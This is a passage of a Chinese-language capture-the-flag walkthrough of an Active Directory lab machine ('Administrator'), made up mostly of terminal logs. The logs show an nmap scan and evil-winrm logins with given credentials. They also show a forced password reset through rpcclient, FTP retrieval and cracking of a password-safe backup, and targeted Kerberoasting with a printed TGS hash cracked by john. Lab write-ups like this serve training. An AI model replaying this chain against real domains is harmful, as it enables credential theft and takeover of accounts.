s is common in real life Windows pentests, you will start the Administrator box with credentials for the following account: Username: Olivia Password: ichliebedich用户名：Olivia 密码：ichliebedich
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-14 15:42 CST Nmap scan report for 10.10.11.42 Host is up (0.62s latency). Not shown: 988 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-syst: |_ SYST: Windows_NT 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-12-14 14:42:58Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.94SVN%E=4%D=12/14%OT=21%CT=1%CU=42122%PV=Y%DS=2%DC=T%G=Y%TM=675 OS:D375F%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=108%TI=I%CI=RD%II=I%TS= OS:A)SEQ(SP=107%GCD=1%ISR=108%TI=RD%CI=I%II=I%TS=A)SEQ(SP=107%GCD=1%ISR=108 OS:%TI=RD%CI=RD%II=I%TS=C)OPS(O1=M53ANW8ST11%O2=M53ANW8ST11%O3=M53ANW8NNT11 OS:%O4=M53ANW8ST11%O5=M53ANW8ST11%O6=M53AST11)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W OS:4=FFFF%W5=FFFF%W6=FFDC)ECN(R=Y%DF=Y%T=80%W=FFFF%O=M53ANW8NNS%CC=Y%Q=)T1( OS:R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O= OS:%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W OS:=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=) OS:T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S OS:+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUC OS:K=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)
TRACEROUTE (using port 23/tcp) HOP RTT ADDRESS 1 768.22 ms 10.10.16.1 2 359.07 ms 10.10.11.42
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 136.19 seconds
┌──(root㉿kali)-[~] └─# evil-winrm -i 10.10.11.42 -u 'Olivia' -p 'ichliebedich' Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\olivia\Documents> whoami /all
USER INFORMATION ----------------
User Name SID ==================== ============================================ administrator\olivia S-1-5-21-1088858960-373806567-254189436-1108
GROUP INFORMATION -----------------
Group Name Type SID Attributes =========================================== ================ ============ ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
PRIVILEGES INFORMATION ----------------------
Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USER CLAIMS INFORMATION -----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled. *Evil-WinRM* PS C:\Users\olivia\Documents>
成功登录目标主机后，使用net user 命令对域内的用户进行枚举。列出当前域控制器上存在的所有用户账户。
1 2 3 4 5 6 7 8 9 10
*Evil-WinRM* PS C:\Users\olivia\Documents> net user
User accounts for \\
------------------------------------------------------------------------------- Administrator alexander benjamin emily emma ethan Guest krbtgt michael olivia The command completed with one or more errors.
┌──(root㉿kali)-[~/BloodHound-linux-x64] └─# bloodhound-python -d administrator.htb -ns 10.10.11.42 -u 'Olivia' -p ichliebedich -c All --zip INFO: Found AD domain: administrator.htb INFO: Getting TGT for user WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: unpack requires a buffer of 4 bytes INFO: Connecting to LDAP server: dc.administrator.htb INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 1 computers INFO: Connecting to LDAP server: dc.administrator.htb INFO: Found 11 users INFO: Found 53 groups INFO: Found 2 gpos INFO: Found 1 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: dc.administrator.htb WARNING: DCE/RPC connection failed: [Errno Connection error (10.10.11.42:445)] timed out WARNING: DCE/RPC connection failed: The NETBIOS connection with the remote host timed out. INFO: Done in 01M 14S INFO: Compressing output into 20241214163637_bloodhound.zip
┌──(root㉿kali)-[/HTB/Administrator] └─# rpcclient -U michael 10.10.11.42 Password for [WORKGROUP\michael]: rpcclient $> setuserinfo2 benjamin 23 'benjamin' rpcclient $> exit
┌──(root㉿kali)-[~/BloodHound-linux-x64] └─# ftp benjamin@10.10.11.42 Connected to 10.10.11.42. 220 Microsoft FTP Service 331 Password required Password: 230 User logged in. Remote system type is Windows_NT.
ftp登录之后，查看一下当前目录下的文件，发现一个备份文件Backup.psafe3，将它下载下来
1 2 3 4 5 6 7 8 9 10
ftp> dir ftp> binary #切换成二进制模式传输文件 200 Type set to I. ftp> get Backup.psafe3 local: Backup.psafe3 remote: Backup.psafe3 229 Entering Extended Passive Mode (|||51246|) 125 Data connection already open; Transfer starting. 100% |**********************************************************************************************| 952 0.77 KiB/s 00:00 ETA 226 Transfer complete. 952 bytes received in 00:01 (0.77 KiB/s)
┌──(root㉿kali)-[/home/kali/Administrator] └─# john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (pwsafe, Password Safe [SHA256 128/128 AVX 4x]) Cost 1 (iteration count) is 2048 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status tekieromucho (Backu) 1g 0:00:00:00 DONE (2024-12-05 23:24) 4.761g/s 29257p/s 29257c/s 29257C/s newzealand..iheartyou Use the "--show" option to display all of the cracked passwords reliably Session completed.
┌──(root㉿kali)-[/HTB/Administrator] └─# evil-winrm -i 10.10.11.42 -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\emily\Documents> whoami administrator\emily
成功拿下emily权限，进入桌面目录，拿下第一个flag
1 2 3 4 5 6 7 8 9 10 11 12 13
*Evil-WinRM* PS C:\Users\emily\Documents> cd ..\Desktop *Evil-WinRM* PS C:\Users\emily\Desktop> dir
Directory: C:\Users\emily\Desktop
Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 10/30/2024 2:23 PM 2308 Microsoft Edge.lnk -ar--- 12/7/2024 12:20 AM 34 user.txt
┌──(root㉿kali)-[~/targetedKerberoast-main] └─# python targetedKerberoast.py -u "emily" -p "UXLCI5iETUsIBoFVTj8yQFKoHjXmb" -d "Administrator.htb" --dc-ip 10.10.11.42 [*] Starting kerberoast attacks [*] Fetching usernames from Active Directory with LDAP [+] Printing hash for (ethan) $krb5tgs$23$*ethan$ADMINISTRATOR.HTB$Administrator.htb/ethan*$c272d2d4f6c0ecab1c52f9c3a61a7752$80ac44b67f02b88210f31a575ec0c3e8ef7a74fa05eea49a2afe46ae6a8085a0c8fc51ab9f1d0ae4849aae9dd2880b46a2cf1f7a1c9b2ba5639cb58c0f7e4e2b5474cda1e70fae234f89807cc8d2b7972079899077da12b0a662439fd592504c4d942759de88d5b8f93ee57f3306444ceba8b69c934d9ad5de4d98fe198b63fcda638a2b2dde3b246b7e34974e600c843c44ed41034ada89298d3081ba78d23aca4adad45aa123840df2de7ddab67f0138ca0c96dc712a927e5dbc2123709f7c5873f025912727e2212671ad3f5f37a10e6fd65cf93ac77d514acd615f105f977eb6afb1ab3917415f0a86f21137569fa23131d295be7478e34c29048fadf4875a2029e89d7c10f743e589521982eb9928beb8df8b1273c44eac940910aea9fbb046900897eac2476d33874ce71713016a7f879fcdedcdacdcc1d079fceb0235d909e77416760aa14918853bca87d9801ea1364bb8bfa9b9ff8bdfaae3a227d214832c8c8c787ea304e0aaa43828428b5f976569b8aa809adbdecc775f2edb41b2276b895ccc189675eae246123f5e903bb6cf5c35f641a244698a405999faae73096ad9bbee2e9d5427e2ac169350d5172578482327a326708d019348520750a144a90f7684aa4a2557ede1bb4ba25a6a2ed9bfc24acee897e8cd52db8e10232518e8201dc5b39317ea892ae6b4db81a1e75c70bf99b8b3d8b83a35bd664a8e387e1ae092844dc62420c418b9b3790071908d9131b79e242bfd33489318278460ed861ce63b3c51a3cf7f4b6122083db3e30dcd9a4e088ddda78d9bf337d0e1ede8192e0aa6ddc436a658f8ab92c4a7c4684352dd873159cbb830d703f46b7f2f86d63f5f512867a3298df24f7ffa7276865fc5e8affa0944b44e7691482e66934b8f32cbe4b6033a1145164b2c12dbc1f6ccec70076b61dc21f40f7f9b22f3daf6cacab4073dd5365f617255df7fb89b948e41c12fdd251508ed2c537a268595a10f012b5ca1b783dbdc238b375b215404dee90122627e1cbd8982fcc34fef8f0c0073f4391aff527e5be543ce4678bdc22b8bd1a7373b017680060552ea8a2f703a9fdfaf4f81370f9b5d3c21d2f50e3975c2246965047642679258a429adcf05ec61dfb6852148b53cdb741e752d0d716625956c4504e99a915bdb27cba9970e6ae8f5af1249fef2a3c8c935daae78e1413378894c4f18429b7cee5fdb3e9dabd30155253e0efe850f47baea504f3b74247617d62de7a482ad245b1d5d43fdbf2ddabc18e7da4a381cdf51f9d2d6d2c953bbfd73e57af2e59dcec4194cf03cf8ca8e8098319c2941069d0b11fab87292e0ef94aad811b662c541d25dcb629b1466d4133cfec0e5f9c21180cc74e80170707fd45cff021430187b4cfcdc5120f568567ad80f8a705446cb355ed2d49af31fe8825e65e5dcdc659fd78d4856f89a8ea2179fd30b9c802d3a16b378c6ab39c738de3d454b2649f2e6a33f7fdec9c866ca59f3fc50924aa5a21e7a4a4852cd159aca2c03d0f100b355a21ee9
解密
1 2 3 4 5 6 7 8 9 10
┌──(root㉿kali)-[/home/kali/Administrator] └─# john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status limpbizkit (?) 1g 0:00:00:00 DONE (2024-12-06 17:35) 100.0g/s 512000p/s 512000c/s 512000C/s newzealand..babygrl Use the "--show" option to display all of the cracked passwords reliably Session completed.
Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..\Desktop *Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
得到 Ethan 的密码：